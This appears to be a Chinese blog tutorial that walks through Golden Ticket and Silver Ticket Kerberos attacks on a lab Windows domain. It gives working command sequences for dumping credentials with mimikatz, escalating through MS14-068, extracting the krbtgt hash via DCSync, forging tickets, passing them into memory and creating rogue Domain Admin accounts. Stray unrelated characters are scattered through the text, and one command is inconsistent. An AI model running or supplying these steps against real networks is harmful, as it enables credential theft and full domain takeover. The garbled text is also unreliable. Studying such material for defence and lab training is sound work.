票據(jù)傳遞攻擊
這里介紹域內(nèi)常用的兩種攻擊方式:黃金票據(jù)Golden ticket、白銀票據(jù)SILVER TICKET
另外,學(xué)習(xí)過Kerberos認(rèn)證過程的同學(xué)會(huì)更加容易的理解兩種票據(jù)攻擊的原理骑科,沒有看過Kerberos認(rèn)證的同學(xué),我推薦還是去看看我之前寫的Kerberos認(rèn)證過程
相關(guān)應(yīng)用
金票Golden ticket
原理
在Kerberos認(rèn)證中,Client通過AS(身份認(rèn)證服務(wù))認(rèn)證后,AS會(huì)給Client一個(gè)
Logon Session Key和TGT,而Logon Session Key并不會(huì)保存在KDC中倍阐,krbtgt的NTLM Hash又是固定的,所以只要得到krbtgt的NTLM Hash主儡,就可以偽造TGT和Logon Session Key來進(jìn)入下一步Client與TGS的交互。而已有了金票后,就跳過AS驗(yàn)證,不用驗(yàn)證賬戶和密碼,所以也不擔(dān)心域管密碼修改县恕。
特點(diǎn)
不需要與AS進(jìn)行交互东羹,需要用戶krbtgt的Hash
具體操作介紹
一、偽造憑據(jù)忠烛,提升域內(nèi)普通用戶的權(quán)限
我們現(xiàn)在以一個(gè)本地administrator用戶登錄域內(nèi)的一個(gè)主機(jī)中属提。
通過命令:net config workstation,可知域名為:cyberpeace和其他信息。
通過命令:nltest /dsgetdc:域名,可知DC主機(jī)名為:scene美尸。
上傳mimikatz,以管理員權(quán)限運(yùn)行CMD,再去執(zhí)行mimikatz:
mimikatz.exe "privilege::debug" "sekurlsa::logonpasswords" "exit">log.txt
打開生成的log.txt可以看到有一個(gè)域內(nèi)用戶devuser
,且密碼是HOTdev123456
使用用戶devuser登錄到域內(nèi),whoami查看下當(dāng)前用戶為devuser:
這里利用MS14-068來提權(quán),先檢查下是否有MS14-068, CVE編號(hào)CVE-2014-6324,補(bǔ)丁為 3011780 : systeminfo |find "3011780",如果返回為空就說明沒有打補(bǔ)丁,存在漏洞,需要注意的是域內(nèi)普通用戶提權(quán)成功后是有時(shí)效性的冤议。
執(zhí)行:dir \scene.cyberpeace.com\c$,提醒權(quán)限不夠:
上傳mimikatz和MS14-068提權(quán)工具师坎,whoami /user
或者whoami/all
查看devuser用戶的suid:
使用MS14-068偽造票據(jù):
執(zhí)行命令:C:\MS14-068>MS14-068.exe -u devuser@cyberpeace.com -p HOTdev123456 -s S-1-5-21-9 7341123-1865264218-933115267-1108 -d scene.cyberpeace.com
恕酸,會(huì)在當(dāng)前目錄下生成一個(gè)憑證。
使用方法:
ms14-068.exe -u 域成員名@域名 -p 域成員密碼 -s 域成員sid -d 域控制器地址
使用mimikatz清空之前緩存的憑證胯陋,導(dǎo)入偽造的憑證:
mimikatz # kerberos::purge //清空票據(jù)
mimikatz # kerberos::ptc 票據(jù)文件地址
再輸入dir \\scene.cyberpeace.com\c$
蕊温,發(fā)現(xiàn)訪問成功,現(xiàn)在我們有域管的權(quán)限:
添加域管用戶aaa:
net user aaa Qwe123... /add /domain
net group "Domain Admins" aaa /add /domain
二遏乔、偽造金票
偽造金票的所需條件
1义矛、域名稱
2、域的SID值
3盟萨、域的KRBTGT賬號(hào)的HASH
4凉翻、偽造任意用戶名
登錄aaa域管用戶,執(zhí)行whoami
可以看到是aaa用戶:
使用一下命令導(dǎo)出用戶krbtgt的hash:
mimikatz(commandline) # privilege::debug
mimikatz(commandline) # lsadump::dcsync /domain:cyberpeace.com /all /csv
mimikatz(commandline) # lsadump::dcsync /domain:cyberpeace.com /user:krbtgt
再執(zhí)行以下命令可以看到krbtgt用戶的SID:
利用mimikatz生成金票生成.kirbi文件并保存:
mimikatz.exe "kerberos::golden /admin:system /domain:cyberpeace.com /sid:S-1-5-21-97341123-1865264218-933115267 /krbtgt:95972cdf7b8dde854e74c1871f6d80a0 /ticket:ticket.kirbi" exit
/admin:偽造的用戶名
/domain:域名稱
/sid:SID值捻激,注意是去掉最后一個(gè)-后面的值
/krbtgt:krbtgt的HASH值
/ticket:生成的票據(jù)名稱 //不是寫入內(nèi)存中的命令噪矛!
三,金票的使用(普通域賬戶铺罢,利用黃金票據(jù),創(chuàng)建域管賬戶)
登錄域內(nèi)普通用戶残炮,通過mimikatz中的kerberos::ptt功能將ticket.kirbi導(dǎo)入內(nèi)存中韭赘。
mimikatz # kerberos::purge
mimikatz # kerberos::ptt ticket.kirbi
此時(shí)嘗試創(chuàng)建一個(gè)ccc的域管賬號(hào),命令執(zhí)行成功:
銀票SILVER TICKET
原理
如果說黃金票據(jù)是偽造的TGT,那么白銀票據(jù)就是偽造的ST势就。
在Kerberos認(rèn)證的第三部泉瞻,Client帶著ST和Authenticator3向Server上的某個(gè)服務(wù)進(jìn)行請求,Server接收到Client的請求之后,通過自己的Master Key 解密ST,從而獲得 Session Key苞冯。通過 Session Key 解密 Authenticator3,進(jìn)而驗(yàn)證對方的身份,驗(yàn)證成功就讓 Client 訪問server上的指定服務(wù)了袖牙。
所以我們只需要知道Server用戶的Hash就可以偽造出一個(gè)ST,且不會(huì)經(jīng)過KDC,但是偽造的門票只對部分服務(wù)起作用。
特點(diǎn)
1.不需要與KDC進(jìn)行交互 2.需要server的NTLM hash
具體操作介紹
一舅锄、偽造憑據(jù)鞭达,提升域內(nèi)普通用戶的權(quán)限
我們現(xiàn)在以一個(gè)本地administrator用戶登錄域內(nèi)的一個(gè)主機(jī)中。
通過命令:net config workstation,可知域名為:cyberpeace和其他信息
通過命令:nltest /dsgetdc:域名,可知DC主機(jī)名為:scene。
上傳mimikatz,以管理員權(quán)限運(yùn)行CMD,再去執(zhí)行mimikatz:
mimikatz.exe "privilege::debug" "sekurlsa::logonpasswords" "exit">log.txt
打開生成的log.txt可以看到有一個(gè)域內(nèi)用戶Hellen
,且密碼是Hellen1818
畴蹭。
使用用戶Hellen登錄到域內(nèi),whoami查看下當(dāng)前用戶為Hellen:
同樣先檢查下是否有MS14-068漏洞
執(zhí)行:dir \scene.cyberpeace.com\c$坦仍,提醒權(quán)限不夠:
上傳mimikatz和MS14-068提權(quán)工具,whoami /user
或者whoami/all
查看devuser用戶的suid:
使用MS14-068偽造票據(jù):
執(zhí)行命令:MS14-068.exe -u Hellen@cyberpeace.com -p Hellen1818 -s S-1-5-21-2718660907-658632824-2072795563-1110 -d DomainControl.cyberpeace.com
叨襟,會(huì)在當(dāng)前目錄下生成一個(gè)憑證繁扎。
使用方法:
ms14-068.exe -u 域成員名@域名 -p 域成員密碼 -s 域成員sid -d 域控制器地址
使用mimikatz清空之前緩存的憑證,導(dǎo)入偽造的憑證:
mimikatz # kerberos::purge //清空票據(jù)
mimikatz # kerberos::ptc 票據(jù)文件地址
再輸入dir \\scene.cyberpeace.com\c$
糊闽,發(fā)現(xiàn)訪問成功梳玫,現(xiàn)在我們有域管的權(quán)限:
添加域管用戶ccc:
net user ccc Qwe1234/add /domain
net group "Domain Admins" cccc /add /domain
二、偽造銀票
登錄上面創(chuàng)建的域管用戶右犹,用管理員權(quán)限打開CMD提澎,cd 到 mimikatz 存放的目錄,去執(zhí)行mimikatz的命令傀履,得到SID和NTLM虱朵,
mimikatz.exe "privilege::debug" "sekurlsa::logonpasswords" "exit">log.txt
把HASH文件保存到本地,在重新登錄到域內(nèi)機(jī)器的本地賬戶钓账,將hash文件和mimikatz復(fù)制進(jìn)去:
先使用mimikatz清空票據(jù)碴犬,再導(dǎo)入偽造的票據(jù),具體偽造票據(jù)的命令:
kerberos::golden /domain:cyberpeace.com /sid:S-1-5-21-2718660907-658632824-2072795563 /target:scene.cyberpeace.com /service:cifs /rc4:9a68826fdc2811f20d1f73a471ad7b9a /user:test /ptt
使用方法:
kerberos::golden /domain:<域名> /sid:<域 SID> /target:<目標(biāo)服務(wù)器主機(jī)名> /service:<服務(wù)類型> /rc4:<NTLM Hash> /user:<用戶名> /ptt
其中的用戶名可以隨便寫
服務(wù)類型可以從以下內(nèi)容中來進(jìn)行選擇,因?yàn)槲覀儧]有TGT去不斷申請ticket梆暮,所以只能針對某一些服務(wù)來進(jìn)行偽造
測試一下服协,成功執(zhí)行dir \\scene.cyberpeace.com\c$
,并且可以創(chuàng)建域管賬號(hào):
金票和銀票的區(qū)別
獲取的權(quán)限不同
金票:偽造的TGT,可以獲取任意Kerberos的訪問權(quán)限
銀票:偽造的ST啦粹,只能訪問指定的服務(wù)偿荷,如CIFS
認(rèn)證流程不同
金票:同KDC交互,但不同AS交互
銀票:不同KDC交互唠椭,直接訪問Server
加密方式不同
金票:由krbtgt NTLM Hash 加密
銀票:由服務(wù)賬號(hào) NTLM Hash 加密
至此跳纳,金銀票據(jù)的介紹就結(jié)束了,謝謝觀看贪嫂,若有疑問請留言寺庄,若有錯(cuò)誤請指教。
推薦我的另一篇內(nèi)網(wǎng)滲透的文章:內(nèi)網(wǎng)滲透
大佬隨手給個(gè)贊唄 0.0